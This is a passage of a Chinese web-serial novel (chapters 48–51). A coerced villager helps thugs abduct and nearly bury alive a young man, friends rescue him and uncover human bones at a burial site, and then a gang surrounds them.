凯伯跟着哼哼唧唧地补充:“是啊,大半夜的,头痛得睡不着啊,跟要裂开似的!别是脑子出了啥毛病……欢丫头,你快给俺瞧瞧,扎个针,缓缓劲儿!” 欢丫头见状,赶紧上前扶着凯伯在另一边的圆凳上坐下:“凯伯,您这是怎么个头痛法?以前咋没听说您有这毛病呀?”她一边问,一边下意识地瞥了一眼铁床上躺着一动不动的男人。 凯伯哎哟哎哟地呻吟:“去年冬天,不小心冻着了,落下的病根!我一直忍着呢,总觉得靠靠、忍忍就好了。这天暖和点后感觉是好了些,没想到今儿个晚上,又犯了,疼得钻心啊!” 欢丫头拉过凯伯的胳膊,手指搭在他的手腕上,神色认真起来:“您这可不行,有病得赶紧看,不能硬靠,越靠越严重。”她凝神感受着指下的脉搏,眉心渐渐蹙起,似乎察觉到了什么异常,嘴唇微动,正要开口。 身后,大壮的声音突然响了起来:“欢儿,这人是谁呀?脸生得很,没在咱庄里见过呀。” 欢丫头一回头,心猛地提到了嗓子眼——大壮那粗壮的手指头,正朝铁床病人身上的银针戳过去! “哎呀!到点了,该起针了!”欢丫头失声嚷道,声音因为急切而显得有些尖利,“你可别碰他啊大壮哥!碰不得!” 她几乎是扑了过去,也顾不上凯伯还在那哼哼,手忙脚乱地开始拔针。 一根,两根,三根……拔到他头顶附近时,她不得不弯下腰,凑近对方的头发。 就在这时,一个极其低沉,几乎只是气流摩擦的声音,钻入了她的耳朵。 那是一串数字,电话号码。 后面还紧跟着一句话,语速快而清晰:“打这个号,说‘温雪生’在这。” 欢丫头的手指僵了一下,还没等她完全消化这句话的意思,也没等她取完最后一根针,身下的男人骤然发了力气! 他像一颗出膛的炮弹,猛地从铁床上弹起,赤着脚,直接踹向了那扇还没来得及关严实的木门! 哐当! 一声巨响,木门应声而开,撞在土墙上,差点散架。 霎时,冰冷的夜风再次呼啸着倒灌进来。 温雪生头也不回,身影一闪,便彻底消失在门外浓稠的黑暗里。 几乎同一时间,刚才还抱着脑袋痛苦呻吟的凯伯,忽然停止了哼哼,动作利落地跳下了圆凳。而大壮也立刻收敛了脸上那点憨气,眼神变得像狼一样锐利。 父子俩对视一眼,没有任何犹豫,紧跟着就追了出去,脚步声迅速被风声吞没。 第48章 李伯 土屋里,瞬间只剩下欢丫头一个人。 她僵在原地,手里还捏着那根没来得及放下的银针,手脚冰凉。 事情发生得太快,快到她脑子根本转不过弯,只有刚才那个病人,凑在她耳边说的话还在脑海萦绕,怎么挥也挥不去。 也许是那病人眼神里的绝望太真实,又也许是自己莫名其妙的直觉,除了那句话,她还隐隐听到有个声音在催她:快!快!快去打电话!晚了就出人命了! 她猛地转身,冲进里屋,一眼就看到了八仙桌上的红色电话。 心慌得厉害,又手也不听使唤,她只能强忍住不安,抓起听筒,颤抖着贴上耳朵。 号码!那串数字! 她默念着,可是手指悬在按键上,迟迟没有落下。 刚才明明记得清清楚楚,怎么这会儿…… 后面四位,是8237?还是8257? 脑子里突然像塞进了一团乱麻,那铁床上的病人气息很弱,吐字有点糊,她听得其实并不真切…… 不管了,没时间琢磨了!她一咬牙,按下了8237。 听筒里传来“嘟——嘟——”的连线声,每一声都敲在她紧绷的神经上。 然后,通了。 “喂?”一个男人的声音,黏黏糊糊的,背景音很闹很吵,像是在喝酒划拳。 欢丫头吸了口气,尽量让自己的声音不抖:“喂?我,我找……不对,温雪生在这,他……” “cao!”对面骂了一句,酒气似乎都能透过电话线传过来,“什么他妈雪生熟生的!大半夜吵什么吵!打错了,滚!” “咔哒”一声,电话被狠狠挂断。 忙音再次响起,冰冷无情。 欢丫头握着听筒的手心全是汗,她定了定神,又按下了8257。 这次对方接得更快,可是,当她说完“温雪生在这”几个字时,对方回了句“你找错人了”然后干脆地挂了电话,连多一秒的确认都没有。 电话里又传来了长长的忙音。 欢丫头的心直往下坠,就像掉进了冰窟窿。 两个号码都不对……怎么办?那个救命的电话到底是什么? 她努力回想,想从混乱的记忆里捞出那串正确的数字。 就在她要第三次尝试时,眼前竟闪过凯伯和大壮离开时的凶狠眼神,跟要吃人一样。 她吓得一个哆嗦,手里湿滑的听筒没拿住,“啪”的一声掉在桌子上。 那串本就模糊的号码,随着这一摔,彻底从脑中消失了…… 与此同时,李家村又窄又深的巷子里。 温雪生拼命跑着,肺里火辣辣的,每一次呼吸都带着血腥气。他刚刚在土屋里,靠着欢丫头那几根针所攒下的一点体力,正在飞速流逝。 而他身后,脚步声紧追不舍,男人的咆哮也越来越近。 他还不能停下来! 他东拐西绕,把靠在墙边的柴草垛子用力推倒,干秸秆哗啦啦散了一地;路过个岔口,看到一辆废弃的独轮小推车,他又咬着牙把它掀翻,横在路中间…… 不过,这些小花招也就能挣几个喘气的功夫,并不能阻挡那俩追兵。 很快,汗水迷了他的眼睛,腿也像绑了沙袋…… 脚步声更近了!他几乎能感受到身后人喷出的热气! 就在这时—— 突突突……突突突…… 一阵熟悉的引擎声由远及近,在这寂静的夜里格外炸耳。 温雪生连忙循声望去,东边那条稍宽一点的土路上,一辆三蹦子正慢悠悠地开着,车头那盏昏黄的大灯在黑暗中一晃一晃。 是李伯! 心底涌上一阵激动,求生的本能让他爆发出新的力气,他提着腿朝三蹦子的方向冲去,一边跑一边挥手,扯着嗓子嘶喊:“李伯!等等!停一下!停一下!” 几句快要破音的话发出后,那三蹦子的速度明显慢了下来,然后,真的停在了他前头十几米远的地方。 驾驶座上的李伯回过头。 车灯不算亮,但足够让两人看清彼此的脸。 可是,温雪生眼里,那瞬间燃起的期待,在对上李伯视线的那一刹,像被泼了盆冷水,“噗”地灭了。 李伯看着他,嘴唇抿成一条死直的线,脸上没有任何表情,没有惊也没有怕,那双看起来浑浊温和的眼睛,这会儿竟沉得瘆人。 温雪生停下了脚步,没再往前挪动一寸。 他所有的力气,连同那点微弱的希望,都在这一眼里被抽空了。 而李伯什么也没说,最后又深深地看了他一眼,然后转回头,发动了三蹦子。 突突突……突突突…… 引擎声重新嚎叫起来,三蹦子颠簸着,加速,朝着远离温雪生的方向开去。 温雪生耷拉着肩膀,僵立在路中间,像一尊失去灵魂的雕像。 夜风吹过,裹挟着凉意,他却感觉不到。 逃不掉了…… 他这样想。 之前,他能考虑到大半夜荒郊野外冒出一辆汽车不正常,为什么就没料到,有个开着三蹦子的老大爷“恰好”路过,更不正常呢? 刚刚在土屋,那个凯伯和大壮一进门,他就闻到了他们身上熟悉的、下水道似的流氓味儿。他从小在这类人堆里长大,哪怕他们穿着普通村民的衣服,说着本地的土话,这种味道,他隔着老远也能认出来。 他当时就起了疑心,只是没想到,他们竟然跟李伯是一伙的。 李伯,这个看起来憨厚朴实的老头儿,是他,把自己从危险中救下,带进了这个更危险的村子。 他还是太天真,太轻敌了。 那个接电话的人,怎么可能那么安静地等他逃走?其实对方早就布好了网,等着他这只病弱的鸟儿自己撞进来。 “啊——” 这时,小腿肚子传来一阵剧痛,像是被铁棍子狠狠抡了一下,他闷哼一声,膝盖一软,整个人不受控制地向前跪倒。 紧跟着,一只穿着解放鞋的大脚,踩在了他的脊梁上,力道沉重,压得他几乎喘不过气。 “妈呀!” 是那个叫大壮的,声音里带着点儿跑累后的喘息,“这病痨鬼少爷,还挺能跑啊!累死老子了!” 凯伯追了过来,气息也有些不稳,但语气里透着完成任务后的轻松劲儿:“行了,逮住了就好,我会跟头儿说,给咱加钱的。” 说完,他掏出一块黑抹布,团了团,不由分说地塞进温雪生嘴里。 然后,他又从大壮手里接过一捆粗麻绳,熟练地开始往他身上缠,一圈,又一圈,勒得很紧。 温雪生没有挣扎,任由他们摆弄,眼睛似乎还望着那个远去的三蹦子。 可那“突突突”的声音,早就听不见了。 在他的视线所不能捕捉到的地方,李伯死死攥着三蹦子的车把,嘴唇依旧抿得很紧,嘴角往下耷拉着,眼睛里布满红血丝。 他这一晚上经历的事情,比他过去几十年加起来还要惊心动魄,也比电视里放的那些,瞎编乱造的大长剧还要跌宕起伏。 今天他就要躺下睡觉了,跟他处得不错的老凯突然找上了门。他刚开门,还没反应过来,老凯的“儿子”,大壮就从后头冒出来,一把将他撩倒,然后用绳子捆了。接着,他们又绑了他的老伴。 他吓坏了,哭嚷着问他们来找他干什么? 那老凯嗤笑着,平时那张称兄道弟的脸扭成了麻花:“找你干啥?当然是有好事啊,李老蔫儿!你呀,一看就是个傻到家的老好人,不认识你的人见了也不会防备。”老凯用根烧火棍指着他的脑袋,还扔在地上一张发黄的照片,“所以啊,你就帮我俩把这照片里的人给我弄回来吧。” 弄人?这个可是绑架! 他这辈子哪儿干过这种事,他害怕,也过不去心里的坎,怎么都不同意。 大壮人狠,见这状况,当场就给了他老婆子一脚。 老婆子本来身子就不好,又惊又吓,连哼都没哼一声就晕了过去…… 想到这儿,眼前又浮现出老婆子倒在地上的样子,李伯眼眶里憋了半天的泪水终于兜不住,唰地一下溢了出来,顺着老脸上的沟壑往下淌。 现在,他为了老婆子害了人,他认了,他不求得好,只想赶紧去老凯之前告诉他的地儿,先把老婆子接回家。老凯说了,事办成后,就会放了他老婆子的…… 他猛踩油门,破三蹦子在空旷的夜路上颠簸前行,发出锤死般挣扎的噪音。 就在这时—— 吱—— 一阵车轮摩擦地面的声音,忽然在他身前炸响! 衬着月光,他瞅见一辆方方块块的越野车,几乎贴着三蹦子的车头,紧急刹停了! 李伯魂儿都快吓飞了,下意识急打方向盘,同时刹车踩到底,哪料三蹦子重心不稳,直接侧翻在地,把他从驾驶座上甩了出去。 砰! 他结结实实地摔在冰冷的路面上,手掌和胳膊肘先着地,一阵钻心的疼传来,手心肯定让地上的碎石子儿给磨破了。 “诶!大爷!没事吧?!” 几个人影从那越野车上跳下来,小跑着冲他来了。 李伯摔得七荤八素、眼冒金星,憋了一晚上的窝囊、恐惧,还有这飞来横祸带来的委屈,瞬间全都化成了怒火。他挣扎着用手撑地想坐起来,可手心的刺痛让他直咧嘴,竟没坐成。 车上下来的人已经跑到他身边,伸手想要扶他。 “对不住啊,大爷。” 李伯一把打开对方的手,却借着对方的劲儿勉强坐直了,也顾不上浑身的疼,开口就冲他们吼:“你们咋回事啊?!这大半夜的开车咋不打灯啊!是不是想撞死我啊!我这老骨头经得住你们这么吓唬吗?!” 听了这话,边上响起一个女孩的抱怨声:“笑远,我就说开灯吧,也不知道你咋想的,非要听她的,这下好了,差点搞出人命。” 紧接着,另一个音色类似,但稍微沉稳些的女声接上:“是啊,要是真撞上人怎么办?多危险!诶,南希,你说说,怎么……” 然而,她的话还没说完,就被那最先跑到李伯身边的人打断了。 “等等!” 这人的视线从侧翻在地的三蹦子,慢慢移到李伯因愤怒而涨红的脸上,目光骤然一紧。 “大爷,”她盯着李伯的眼睛,一字一句地问,“刚才,我是说,大概五十分钟前,咱们是不是在这条马路上碰到过?” 第49章 榆树下 李伯那点火气,被这句话瞬间浇灭,变成了惊吓,哽在喉咙里。 他咽了口唾沫,这才抬眼看清楚眼前的人。 是个很水灵的女孩,年纪不大,可那一头火焰般的红发,和那双过于犀利的眼睛,透出一种强烈的压迫感,压得他喘不过气,活像他年轻时在城里的动物园见过的,那种准备扑食的豹子。 对方敏锐地捕捉到了他脸上的惊慌,然后一把抓住李伯的胳膊,指甲几乎要掐进他的袖子里:“说呀,刚才咱们是不是遇到过?就在村口那条路上?!” 李伯被这气势吓住了,嘴唇哆嗦着,发不出声音。胳膊被掐住的地方,隔着厚棉袄,其实并不疼,但他整个身子都僵了。 “你快说!”女孩又喊了一声,声音又尖又急。 旁边那个穿着皮衣的男人伸出手,拍了拍女孩的手背。 “南希,别太激动,你吓着他了。” 说话时,他手上用了点巧劲,把女孩紧攥着的手从李伯胳膊上掰了下来,然后又转向李伯,“大爷,五十分钟前,我们在旁边的S308省道上,”他指了指翻倒在地的三蹦子,“好像确实碰到了这么一辆三轮。如果,我们当时遇到的真是你,麻烦你能告诉我们。” 李伯看看皮衣男,又看看那叫南希的红发女孩,大脑空白,哆哆嗦嗦地点了点头。 南希的眼睛骤然亮了,再次开口:“大爷,那你有没有见着一个看起来二十左右的青年?”她抬手比划了一下,“长得这么高,瘦瘦的,身体不太好样子,对了,他还长得特别好看,你要是见过,肯定有印象!” 李伯听着她的描述,那张苍白,长着青色细纹,又过分帅气的脸立刻浮现在了眼前。 他吧唧吧唧嘴,喉咙里发出了几下无意义的声响,眼框里便吧嗒吧嗒地掉下泪来。 就像老凯之前数落他的,他这辈子就是个老好人,是真没干过坏事,从答应把那小伙子骗上车开始,他心里就憋得难受,这会儿,那点愧疚和恐惧像洪水决了堤,他终于忍不住了,带着哭腔嚷道:“我不是人啊!是我……是我把他弄来的!他被坏蛋绑走了,你们快去找他吧!要不……要不真不知道会发生什么事啊!” 他瘫坐在地上,鼻涕眼泪糊了一脸。 * 离省道几里外的一片荒郊,一棵老榆树孤零零的杵着,刚长出嫩芽的树干在月光下拖出乱七八糟的阴影,张牙舞爪地印在冰冷的土地上。 树下,温雪生被扔在那里,麻绳捆得结实,动弹不了。他脸上沾满了干涸的泥块子,眼睛半睁半闭,借着微弱的月光,能看到他胸口起伏得非常剧烈。 突然,一抔带着湿气的泥土飞溅过来,正好砸在他脸上,迷了他的眼。他难受地闭紧了眼皮,身体抽搐了一下。 旁边,一个魁梧的汉子和一个不高的老头正挥着铁锹,在树下挖坑。挖出来的泥在坑边堆起了一座小小的土丘,一些散落的土粒滚落下去,盖在了温雪生的腿上,脚上,和肚子上…… 那老头便是凯伯。 他年纪大了,挖了一会儿就喘不上气,把铁锹往旁边一抛,一屁股坐在土堆上,回头瞥那魁梧汉子,着急地催促:“大壮,你动作快点,时间不早了,弄完好回去,这鬼地方,连个野兔子都不乐意来拉屎。” 大壮本来闷着头在卖力挖土,一听这话不乐意了,合着就他一人干活啊? 他一下子把铁锹狠狠插进脚下的土里,抱起双臂,闷声闷气地说:“你啥意思?第几次了?又是老子一个人干,你光动嘴皮子啊?诶诶,你可别说你又犯腰疼的毛病了!” 凯伯被顶得来了火,啐了一口带泥的唾沫:“我就是腰疼咋地了?等你到了我这岁数你还不如我呢!再说,平时你不是都喊我爹吗?爹让你多出点力都不行?你也不看看现在几点了,心里没数?赶紧弄完拉倒,再磨蹭天都要亮了!” 大壮梗着脖子:“少来这套!哪回不是这样?上次埋……” “他妈的你快给我闭嘴吧!”凯伯厉声打断他,警惕地看了看四周,只有风声吹过榆树枝干的沙沙声,他松了口气,压低声音,“你嚷嚷什么啊?怕别人不知道这棵‘功劳树’是吧!干了这么久,这点规矩,你他妈都不懂?快麻利地干活儿吧!” 大壮被吼得一怔,愤愤地瞪了凯伯一眼,嘴里不干不净地嘟囔着“老棺材瓤子”,但还是悻悻地转过身,用力把铁锹从土里拔出来,继续挖掘那个越来越深的的土坑。 泥土被铲起,又落下,发出沙沙的声响,规律得让人心里发瘆。 不出一会儿,一个可以埋三四个人的大坑就被挖好了。 凯伯见大壮动作麻利,也不好意思再坐着,起身把倒在树边的温雪生拖着地拽了过来,然后一脚踢进了坑里。 大壮反手一挥铁锹,动作从往外铲土,瞬间变成了往坑里填土。李伯也拿起铁锹,插进一边的小土丘,脚一踩,手腕一压又一掀,然后带着草根的土块就飞进坑里。 两人没有一句交流,却配合得十分默契,你一下,我一下,汗水顺着额角流下,也顾不上擦,没多久,坑里的土已经盖了半人多高,没了温雪生的胸膛。 而埋头干活的他们,并不知道,一辆没开车灯的切诺基,已经绕着村子转了两圈,此时正向大榆树这边快速逼近。 等他们听到发动机的嗡鸣声时,一切已经来不及了。 这一老一少警觉抬头,瞧见了像幽灵一样,已经滑到近前的越野车,那车身几乎融在了夜色里。 车还没停稳,三条黑影如猎豹般从两侧飞身而下。 “什么人!”大壮反应慢了一拍,刚吼出一嗓子,一个迅猛的飞腿已经直奔他的面门。他仗着身形魁梧,想硬抗,可对方根本不给他机会,拳头夹着风声接踵而至,只听砰砰几下,又重又狠地攻击就砸在了他的头、脸和肚子上。 他力气是大,但敏捷差了太多,眼前金星乱冒,还没看清来人的模样,就感觉脑袋一震,天旋地转,然后脸朝地拍进刚填了一半的土坑里,没了声。 几乎在大壮倒下的同时,凯伯也被另外两人干脆利落地放倒,不再动弹。 这时,切诺基上的第四个人,张笑远,从驾驶座下来,快速扫视了下全场,然后走上前,用不容置疑的口吻对眼前的人说:“师姐,确认四周。” 话音落地,两个矫健的身影立刻散开,像夜猫一样,悄无声息地绕着榆树,和附近的草丛检查了一圈,很快返回。 孙红:“笑远,没人。” 孙紫:“这边也干净。” 张笑远微微点头,结合之前从李伯那里得来的信息,他已经可以确认绑架温雪生的人只有两个。 心里最后一点疑虑散去,他便不再耽搁,几步跨到土坑。 一个身影比他还快。 那必然是南希。 她直接扑到坑边,瞥了眼那个只剩一个头露在外面的温雪生,二话没说,抓起大壮刚丢下的铁锹,就开始挖土。 铁锹在她手里显得有些沉重,但她咬着牙,一铲一铲,拼命地把刚刚填进去的泥土又刨出来。 张笑远和双胞胎姐妹也动手帮忙,加入进去。 四把铁锹飞快地起落。 幸好土是刚填的,还很松软,没一会儿,他们就挖出了温雪生的身体。 “慢点,轻轻抬!”南希低喝。 然后几人合力,小心翼翼地把温雪生从土坑里拖了出来,平放在旁边的土地上。 他浑身裹满泥土,软绵绵的,没有任何反应。 南希脸色很差,身体虚软,跪倒在他跟上,伸出手,想碰他又不敢,最后只是小心地托住他的头颈,将他上半身轻轻揽进自己怀里。 她用手臂环着他,整个人佝偻下去,害怕地把耳朵贴近他的胸口。 夜风吹过,吹走了她粗重的喘息,还有其他人紧张的沉默。 几秒钟后,她轻轻颤了下。 听到了! 那胸膛下面,传来一下极其微弱,但确实存在的跳动! 一直紧绷的、几乎麻木的神经,在这一刻骤然崩断。 南希手臂一收,死死抱紧了怀里这具沾满泥土的身体,把脸埋进他的肩窝,然后,一阵无法控制的酸楚,涌上了鼻尖。 三天。 仅仅三天。 这三天里,她一直在找他,也一直在麻痹自己,她告诉自己不能慌,不能乱,温雪生一定没事,但她不敢想,不敢停,怕一停下来,那无边的恐惧就会把她吞噬。 她很少后悔,认定的事做了就做了,可这三天,心里那个名为后悔的钉子,越钉越深。 要是当时,没有离开他去追张笑远就好了…… 要是当时,能再多缠着他一会儿,哪怕多一分钟,就好了…… 她从来没想过,这个脾气又臭又硬,说话能气死人,别扭得要命的大少爷,不知什么时候,已经在她心里扎了这么深的根,深到只要稍微想想自己可能会失去他,就会让她痛彻心扉。 她缓缓抬起头,借着凄凉的月光,看了看他。 脸上全是泥,几乎看不清原本的模样。 她赶忙用手,颤抖着,一点点,一点点地把那些泥拂去。 熟悉的眉眼,挺直的鼻梁,总是紧抿着显得很不高兴的嘴唇,慢慢显露出来。 明明人就在眼前,被她真实地抱在怀里,可一股强烈的思念还是像潮水般袭来,淹没了她。 为什么会这么想他? 是想听他用那欠揍的语气叫她“走开”吗? 是想看他皱着眉嫌弃她,却又无可奈何吗? …… 意识恍惚间,一个只属于他的称呼,无意识地滑出口,轻得像一声叹息: “小生生,小生生……” 像是再也忍不住,大颗大颗的泪珠毫无征兆地滚落,吧嗒吧嗒,砸在他刚刚被擦干净一些的脸颊上。 而她的视线被泪水模糊,看不清他的样子了。 “你,要哭……别在我脸上哭……” 第50章 人工呼吸 压抑的抽噎声中,一句微弱却十足欠揍的话,飘进了南希的耳朵。 她愣住了三秒,大脑一片空白。 月色下,温雪生脸上的泥水泛着微光,而他的眼睛不知什么时候已经睁开,正静静地看着她。 这个发现让她手忙脚乱,赶紧用袖子在脸上胡乱抹了一把,试图擦去那些丢人的泪痕。 然后她也看向他。 他头上的黑眼罩不见了,这是她第二次看清他的眼睛,只是没想到,竟会比第一次更让她心痛。 上一次,他的右眼十分暗淡,而左眼是蓝色的,像一颗璀璨的蓝宝石。而现在,这两只眼睛都失去了光泽,漂亮的左眼变成了灰白色,像是蒙尘的珍珠,那是盲人才会有的眼睛。 右眼就更不用说了,看起来十分疲惫,跟快熄灭的蜡烛一样。 南希忽然想起温四爷对她说的: “三个月前,雪生就找人挖了他的左眼,取出了那块蓝宝石,然后……送了出去……” 这句话她一直不想相信,可是现在证据确凿,她已经不得不信。 他竟然真的为了她,挖掉了自己的眼! 一时间,眼前这双眼睛变成了一把钝刀,在南希心上来来回回地切割。 那才刚止住的泪水便又开始不受控制地滑落。 “你,你……”温雪生缓缓抬起手,指尖微颤着落在她的手背上,声音很轻,“我怎么不知道,你这么能哭……” 南希立马啜泣着喊道:"你还问我?!我倒是想问问你,你是不是脑子被门挤了?!为什么要挖自己的眼睛啊!?" 温雪生明显怔了一下,这才意识到,他的脸已经没有了眼罩的遮挡。他慌乱地闭上左眼,只敢睁着右眼,像是害怕被她看见自己不堪的一面。 刚才在迷迷糊糊中,他就已经知道她来了。那一刻,他心里涌起一种难以言喻的喜悦,仿佛在漫长的黑夜里终于看到了一缕曙光,但是,沉重的困惑也随之而至:她怎么在这儿?她是怎么找到这个偏僻地方的? ……无数个问题在他心里翻腾,可这所有的疑问,又很快在她的泪水中消散了。 她哭了…… 他还从没见过她哭呢…… 他浅浅睁开眼,这画面比他想象的还要令人手足无措。 “非要,现在,说这些让人哭的事吗?”温雪生吃力地喘了口气,"我刚才被埋得憋得慌,你一哭,我更觉得喘不过气来了……" 南希愣了愣,对上温雪生的目光,他的眼底很沉很深,似乎还有荡漾的水波。忽然,她好似被什么东西附了身,猛地低下头,双唇紧紧覆上他的嘴,用舌尖轻轻撬开了他的唇瓣。 整套动作带着一种不顾一切的决绝,仿佛想用这种方式确认他的存在。 温雪生只觉得唇上一热,泪水的咸涩与泥土的腥味便一同侵入到了舌尖,心跳开始疯狂加速。 然后,他像是受不住这激烈的冲击,竟不由地轻咳了一声,胸腔剧烈震颤起来。 南希连忙抬起头,与温雪生刚刚有点血色的唇瓣相离。 温雪生偏过头去,不想让她看见自己发烫的脸颊。他强作镇定,对着空气说:“你,你这是要干什么?” 这声音干涩得像是许久未说话的人。 南希嘴角一撇,竟然理直气壮:“干什么?你不是喘不过气吗?我当然是要给你做人工呼吸呀!” 人工呼吸? 温雪生看向她,却被她脸上的正经表情噎得发不出声,右手无意识地攥紧了身边的泥。 这时,一阵女人的轻笑声打破了这微妙的气氛:“哈哈哈哈,我还是第一次听说,有人给醒着的人做人工呼吸呢。” 另一个女声随即附和,语气里有调侃:“我看,她根本不是想给他做人工呼吸,就是想找借口亲他。” “妹啊!”第一个女声又说,“我跟你说过多少次,有些实话讲不得……” 南希默默听着,眨了眨眼,不仅没有反驳,反而直勾勾地盯着温雪生,那眼神像是要把他一口吞掉似的:“嗯,她们说得没错,小生生,再让我亲一下呗。” 那俩女人完全没料到她会这样回应,她们原以为会看到她羞恼成怒,谁承想她竟是个脸皮比墙还厚的主儿。于是,她们一个挑了挑眉,另一个则掩嘴轻笑,肩膀微微抖动,像是放弃了调侃。 温雪生也呆住了。 眼看南希噘着嘴巴又要凑上来了,他不知从哪挤出了些力气,抬手一把捂住了她的嘴。与此同时,他斜眼看向一旁,这才注意到边上竟还站着三个人。 一红一紫,两个穿着艳丽,长相一模一样的成熟女性。 这应该就是刚才开玩笑的那俩。 这会儿,她们正似笑非笑地看着他,像在看动物园里的珍稀动物。 除此之外,还有一个男人…… 张笑远! 他就站在不远处,双手插在裤兜里,神情十分复杂。 这个发现像一盆冷水,瞬间浇灭了温雪生心里刚刚升起的激动。 然后,一股无名怒火直窜心头。他想起南希和张笑远在教学楼前谈笑风生的画面,想起自己被绑架后支撑到现在的执念。 那句“还想再见她一面”的执念背后,还藏着另一句“跟她算账,问清楚她是不是在玩弄自己,问清楚她和张笑远到底什么关系!”。 想到这里,他手上的力道不自觉地加重,捂着她的嘴,借势将她的脸推到一边,自己则剧烈地喘息起来。 南希被推得差点扑倒,双手撑膝起身,居高临下却满脸委屈:“小生生,你干嘛呀!为什么你每次害羞起来,力气都那么大!”她是真的不明白他为什么突然这样粗暴。 哪想这话让温雪生又羞又恼。他深吸一口气,然后一甩手,指向张笑远,厉声质问南希:“他为什么在这?!” 啊,什么? 南希瞪大了眼。 面前,温雪生皱着眉头,抿着唇,那是他标志性的生气表情。 南希不明白,为什么这个男人才刚醒过来就生气了? 他就那么爱生气吗? 她决定收回之前的想法,她还是不太想看到,他黑脸生气的模样的…… 她继续委屈地解释:“小生生,张笑远帮我一起来找你呀,这次你真得好好谢谢他,要不是他……” “我不会谢他。” 温雪生打断南希,记忆回到了三个月前。 新年元旦,他从光源大厦顶楼,直坠而下,快要落地时,就是这个叫张笑远的接住了自己。后来南希急匆匆赶到,跟他说了和今天类似的话:“你得好好谢谢恩人呀”。 恩人?谢? 为什么要谢他?为什么哪里都有他?怎么就那么碍事!? “我有让他多管闲事来救我吗?谢他?那我还不如直接死了。” 温雪生死死盯着张笑远,眼中满是怨恨,话里的每个字都像从牙缝里挤出来的。 张笑远虽然对男女感情的事不太敏感,但这并不代表他愚钝。他立刻读懂了温雪生眼中的敌意,也隐约猜到了原因。但他并不在意,对他而言,温雪生这种black社会老大的儿子根本不值得他费心。他出手相救全是为了南希,现在他只想尽快履行对南希的承诺,然后带大家去一个安全的地方。 他直接无视温雪生,冲其他人说道:“好了,咱们得赶紧走了。虽然那俩人被放倒了,但这个地方我总感觉怪怪的,有种阴森的感觉,我心里预感也不好,咱们还是快回市里吧。” “不行。” 没等其他人回话,温雪生立刻拒绝,眼神在刹那间变得锐利,“还不能走。” 在场几人都察觉到了他语气和神态的变化,那是一种不容置疑的严肃,他们都看向他,只见他把手探入身旁的泥里,然后沉声说:“你们刚才挖这些土的时候,就没觉得哪里不对劲儿吗?” 那只手一点点往泥土深处摸索,过了好一会儿,温雪生才艰难地把手收回。 然后,他摊开手掌,露出握在手里的东西。 那是一根沾满湿泥的,细小的棍状东西。 他强忍不适,颤抖着拂去上面的土。 月光洒在那东西上,显露出它土灰色的表面,以及特殊的弯曲形状。 四周突然安静得可怕。 南希双唇微张,孙红倒吸了一口冷气,孙紫下意识后退半步,差点踩到自己的裤腿,张笑远的脸色也转瞬变黑,眉头皱成了一团。 恐惧霎时像冰冷的潮水,一下子淹没了所有人—— ——那竟然是,人的骨头! ——一截明显属于人类的手指骨! 温雪生的目光扫过每个人的脸,最后定格在张笑远身上。 “现在,你还觉得我们应该马上离开吗?” 张笑远沉默片刻,蹲下身仔细查看那截指骨:“看骨头的颜色和质地,应该埋在这里有段时间了。”他抬头环顾四周,黑黢黢的天,幽凄的月亮,张牙舞爪的老榆树…… 后脑勺登时泛起一层层凉意,那种阴森的不祥感更强烈了,但他仍强迫自己保持冷静,“可能只是巧合……” “巧合?”温雪生冷笑一声,“那你再看看这个。”他又从土里挖出一块更大的骨头,形状明显是腕骨。 南希怕鬼,再也忍不住,哭嚷起来:“这,这里到底是什么地方啊?!”《 》 50-60 第51章 温重明 夜色浓得化不开,空气里弥漫着土腥味和某种难以言喻的腐烂气。 温雪生看了南希一眼,视线很快移开,落在自己沾满湿泥的手上,喉结滚动了一下。 “别慌,听我慢慢说。” 南希死死盯着他的手:“好好好,我也不想慌啊!小生生,那你先把你手里的东西扔了,好吧?” 温雪生没出声,却弯下腰,将那块人类腕骨重新埋进旁边松软的土里,然后闷闷地开口:“刚才那俩人在挖坑时,我其实有意识,只是在装晕。我偷听到了他们说的话,信息量很大,也很惊人,如果我没听错,他们已经不是第一次在这里埋人。”他指了指周围,“这里土坑还没填实,我很容易就能在土里摸东西……”他顿了下,像是在组织语言,或者说,在压抑某种翻涌的情绪,“所以,刚才我被埋进坑里时,特意感受了下这些土,我发现里面,有些零散的,硬硬的东西……” 话到这里,戛然而止。 一片死寂,周围像是能听到鬼的叹气声。 温雪生没再解释,但在场的没一个傻子,全都懂了。 张笑远的脸唰地褪了色,跟涂了层白漆似的,那种从踏入这里就盘旋在心头的不祥预感,这会儿像是冰水浇头,变得无比清晰。 如果这地方真的是他们用来埋人、销毁杀人证据的地方,那么他们又怎么会让别人轻易发现?这里绝对—— 南希倒抽了一口凉气,脱口而出:“这里绝对不会只有两个打手那么简——” 然而,她话里最后一个“单”字还卡在喉咙里,黑暗中就传来了奇怪的声音。 不是风声,是细细簌簌,越来越多,越来越近的脚步声! 从很远的村子深处,从四周的阴影里,像潮水般围拢过来! 密集,且迅速! 他们根本没有任何反应或逃跑的时间!更何况,他们之中还有温雪生这样一个,刚从鬼门关爬回来的“拖油瓶”! 意识到这点后,南希借着那可怜的月光,捕捉到了这些脚步声的主人。 一个,两个,十个……十几个,不,至少有二十几个穿着黑衣服的流氓,渐渐显现了出来! 那些流氓手里拿着棍棒,或是空着手,但那种无形的压迫感,几乎让人喘不动气。 在这堆流氓里,一个长得跟猴子一样的男的,手里拎着一根半米长的铁棍,一晃一晃地穿越人群,走到了最前面。 他把脖子一扬,咧开嘴,露出一个古怪的笑容,和满口被烟熏染的大黄牙。 南希看清了他的脸,心脏猛地一沉,像被一只冰冷的大手给攥住了。 这张脸她认得,当时在温沙城堡,就是他,伪装成温雪生躺在卧室的床上,趁她不备洒出了迷药…… 可是,怎么会是他? 怎么不是郑司令?! 南希下意识看向温雪生。 他的表情十分凝重,比南希更差,只见他牙关紧得很咬,手扶着身边的老榆树,试图凭借自己的力量起身站稳,但他的腿脚显然还不听使唤,刚站起来,身体就轻轻晃了一下。 南希立刻伸出手,扶住了他的胳膊。 手掌的温热,透过单薄的衣料传给对方一丝力量。 两人极快地对视了一眼,没有任何言语,却都从彼此眼中读到了确认——他们都认识这个人,也都明白,今晚,恐怕是走不了了。 对方人数太多,而且明显是有备而来,占据了绝对的主动。不管是破晓还是红发女鬼,平日行动,都讲究隐蔽和先手,如今先机尽失,敌众我寡,强行突围的可能性微乎其微,剩下的,只有随机应变。 这时候,那个猴子男又上前了一步,用一种油滑随意的语气开了口:“雪生,是你吗?哥哥我查到你被郑司令的人绑架了,可急死我们了!咱爸让我赶紧来救你!你呀,快到哥哥这儿来!” 